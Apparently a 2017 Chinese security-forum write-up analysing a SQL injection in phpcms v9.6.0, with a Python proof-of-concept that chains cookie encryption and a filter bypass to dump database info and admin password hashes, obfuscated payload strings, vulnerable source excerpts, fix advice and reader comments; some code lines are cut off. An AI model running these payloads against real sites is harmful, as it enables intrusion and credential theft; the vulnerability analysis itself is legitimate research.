phpcms v9.6.0 wap模块 SQL注入分析

cryin / 2017-04-11 08:47:00 / 浏览数 6061

概述

这两天看到phpcms
v9的注入漏洞，据说还是未曾公开的，但是网上已经有文章给出了分析关于漏洞的原因以及利用方式，漏洞的利用感觉很赞，所以看下并动手验证下这个漏洞。经过分析并

POC

Python检测脚本代码：

```
#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import sys

class Poc():
   def __init__(self):
       self.cookie={}
   def test(self):
       #url = 'http://10.65.10.195/phpcms_v9.6.0_GBK'
       url = 'http://v9.demo.phpcms.cn/'
       print '[+]Start : PHPCMS_v9.6.0 sqli test...'
       cookie_payload='/index.php?m=wap&a=index&siteid=1'
       info_paylaod='%*27an*d%20e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657
       admin_paylaod='%*27an*d%20e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x706f6374657374,username,0x23,password,0x3a,encrypt,
       url_padding = '%23%26m%3D1%26f%3Dtest%26modelid%3D2%26catid%3D6'
       encode_url=url+'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id='
       exploit_url=url+'/index.php?m=content&c=down&a_k='
       #get test cookies
       self.get_cookie(url,cookie_payload)
       #get mysql info
       self.get_sqlinfo(encode_url,info_paylaod,url_padding,exploit_url)
       #get admin info
       self.get_admininfo(encode_url,admin_paylaod,url_padding,exploit_url)

   def get_cookie(self,url,payload):
       resp=requests.get(url+payload)
       for key in resp.cookies:
           if key.name[-7:] == '_siteid':
               cookie_head = key.name[:6]
               self.cookie[cookie_head+'_userid'] = key.value
               print '[+] Get Cookie : ' + str(self.cookie)
       return self.cookie
   def get_sqlinfo(self,url,payload,padding,exploit_url):
       sqli_payload=''
       resp=requests.get(url+payload+padding,cookies=self.cookie)
       for key in resp.cookies:
           if key.name[-9:] == '_att_json':
               sqli_payload = key.value
               print '[+] Get mysql info Payload : ' + sqli_payload
       info_link = exploit_url + sqli_payload
       sqlinfo=requests.get(info_link,cookies=self.cookie)
       resp = sqlinfo.content
       print '[+] Get mysql info : ' + resp.split('poctest')[1]
   def get_admininfo(self,url,payload,padding,exploit_url):
       sqli_payload=''
       resp=requests.get(url+payload+padding,cookies=self.cookie)
       for key in resp.cookies:
           if key.name[-9:] == '_att_json':
               sqli_payload = key.value
               print '[+] Get admin info Payload : ' + sqli_payload
       admininfo_link = exploit_url + sqli_payload
       admininfo=requests.get(admininfo_link,cookies=self.cookie)
```

```
        resp = admininfo.content
        print '[+] Get site admin info : ' + resp.split('poctest')[1]

if __name__ == '__main__':
    phpcms = Poc()
    phpcms.test()
```

漏洞原因

在写标题时，我在想尽量用一言点清这个漏洞的原因。这里写了phpcms v9.6.0 sys_auth在解密参数后未进行适当校验造成sql injection。具体的漏洞触发点在phpcms\modules\content\down.php文件init函数中，代码如下:

```
public function init() {
        $a_k = trim($_GET['a_k']);//■■a_k■■
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//■■sys_auth■■■■■DECODE■system.php■■■■aut
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);//■■■■■■■■■■■■■
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $MODEL = getcache('model','commons');
        $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
        $this->db->table_name = $tablename.'_data';
        $rs = $this->db->get_one(array('id'=>$id)); //id■■sql■■■■
        ......■■■■■■....
        ......
```

代码通过GET获取'a_k'值，并调用sys_auth函数进行解密，这里传入了'DECODE'参数以及配置文件caches\configs\system.php文件中的auth_key字段。所以可以知道这里
在对a_k解密后使用parse_str将字符串解析到变量，并同时解码。如下代码，输出的id为:'union select

```
<?php
$test='id=%27union%20select';
parse_str($test);
echo $id;
?>
```

最后在第26行处代码处(down.php)将id传入sql查询语句。

漏洞利用

漏洞点上面已经说了，要利用这个漏洞，首先得对payload进行加密操作，在本地得话auth_key得值是可以知道的，但问题是肯定不通用。仔细想下，程序中有解密的方法，
基于这个思路，就可以在程序工程中全文搜索sys_auth传入ENCODE的方法，不过通过网上的POC可以看到其作者已经给出了这个ENCODE地方，可以看出漏洞发现者也是
在phpcms\libs\classes\param.class.php文件第86行，函数set_cookie：

```
public static function set_cookie($var, $value = '', $time = 0) {
        $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
        $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
        $var = pc_base::load_config('system','cookie_pre').$var;//■■system.php■■■cookie_pre■■■cookies■■key■■■
        $_COOKIE[$var] = $value;
        if (is_array($value)) {
            foreach($value as $k=>$v) {
                setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base
            }
        } else {
            setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_conf
        }
    }
```

从代码中可以看到这里在调用setcookie时调用了sys_auth函数，且传入的时ENCODE加密参数。而sys_auth函数定义中可以了解到，其默认使用的key既是system.php文件

到这里就剩下如何把payload完好无损的传入了，这里也时这个漏洞利用另一个让人觉得很巧妙的地方。在phpcms\modules\attachment\attachments.php文件第239行

```
public function swfupload_json() {
        $arr['aid'] = intval($_GET['aid']);
        $arr['src'] = safe_replace(trim($_GET['src']));//■■src■■■■■safe_replace■■
        $arr['filename'] = urlencode(safe_replace($_GET['filename']));
        $json_str = json_encode($arr);//json_encode■■■■
```

```
        $att_arr_exist = param::get_cookie('att_json');
        $att_arr_exist_tmp = explode('||', $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
            param::set_cookie('att_json',$json_str);//■■■■■■■■■■cookie■■
            return true;
        }
    }
```

首先这里调用了set_cookie函数，att_json作为cookies字段的key的一部分，在set_cookie函数中可以看到其与system.php文件中的cookie_pre拼接作为cookies的key，将

```
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','"',$string);
    $string = str_replace("'","",$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','<',$string);
    $string = str_replace('>','>',$string);
    $string = str_replace("{","",$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}
```

作为安全过滤函数，safe_replace对%20、%27、%2527等都进行了替换删除操作。同样对等也进行了替换删除处理。这样如果传入%27经过处理后即只剩下%27.这样就可

```
%*27uni*on%20se*lect co*ncat(0x706f6374657374,ver*sion(),0x706f6374657374),2,3,4,5,6,7,8,9,10,11,12#
```

检测POC实现

在测试时还要主意一个点，在attachments类中有一个构造函数,代码如下：

```
function __construct() {
        pc_base::load_app_func('global');
        $this->upload_url = pc_base::load_config('system','upload_url');
        $this->upload_path = pc_base::load_config('system','upload_path');
        $this->imgext = array('jpg','gif','png','bmp','jpeg');
        $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid'
        $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
        $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
        //?D??ê?·?μ???
        if(empty($this->userid)){
            showmessage(L('please_login','','member'));
        }
    }
```

在这里获取了userid值，从cookie的_userid字段获取或者表单userid_flash的值获取并判断，如果为空则跳转到登录页面，所以这里需要首先访问一个页面获取到这个cook
这个页面实现的功能是生成加密cookie，即poc中的/index.php?m=wap&a=index&siteid=1请求页面，在wap模块构造函数中set_cookie实现了加密cookie的生成

```
function __construct() {
        $this->db = pc_base::load_model('content_model');
        $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_c
        param::set_cookie('siteid',$this->siteid);
        $this->wap_site = getcache('wap_site','wap');
        $this->types = getcache('wap_type','wap');
        $this->wap = $this->wap_site[$this->siteid];
        define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$th
        if($this->wap['status']!=1) exit(L('wap_close_status'));
    }
```

既然漏洞原因及利用已经明白了，要实现对改漏洞的检测，首先是获取cookies字段的key的前缀'cookie_pre'及cookie，并对payload进行加密处理。从对应的'cookie_pre'

漏洞修复

这个漏洞利用很巧妙，很佩服漏洞发现者不仅发现漏洞，并给出了完美的利用方法。不知道读者有没有发现这个漏洞另外一个厉害之处。
虽然没实际去测试，但笔者认为这个漏洞利用方式特殊可能导致大多数waf都无法检测、防御该注入payload。因为有了对*的替换删除，payload可以大量使用其进行混淆。
所以修改该漏洞最好从代码层级进行修复、解决。个人认为这里有两个地方都要进行相应处理，

- 完善safe_replace函数(既然过滤存在绕过，那很可能还有其它潜在的注入)
- sys_auth解密数据后对其进行相应安全校验

经验有限，文中有不妥之处还请指出~

参考

[1] https://www.secpulse.com/archives/57486.html

[2] http://v9.demo.phpcms.cn/

上一篇：Phpcms_V9任意文件上传 -... 下一篇：SecWiki技术分享——漏洞挖掘...
1. 2 条回复


zxc 2017-04-11 09:58:55

就没人说到这个漏洞是因为parse_str才产生的么
parse_str不仅对变量解析 更重要在这里进行了解码

0 回复Ta


cryin 2017-04-11 10:25:40

引用第1楼zxc于2017-04-11 17:58发表的 Rephpcmsv96sysauth解密参数后未校验造成sql注入简单分析 :
就没人说到这个漏洞是因为parse_str才产生的么
parse_str不仅对变量解析 更重要在这里进行了解码
[url=https://xianzhi.aliyun.com/forum/job.php?action=topost&tid=1491&pid=2015][/url]

感谢指出，这里经过safe_replace处理的payload应该是形如%27union%20select这样，然后parse_str将paylaod解析到变量，同时进行了解码~~
已在文中补充~thx

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板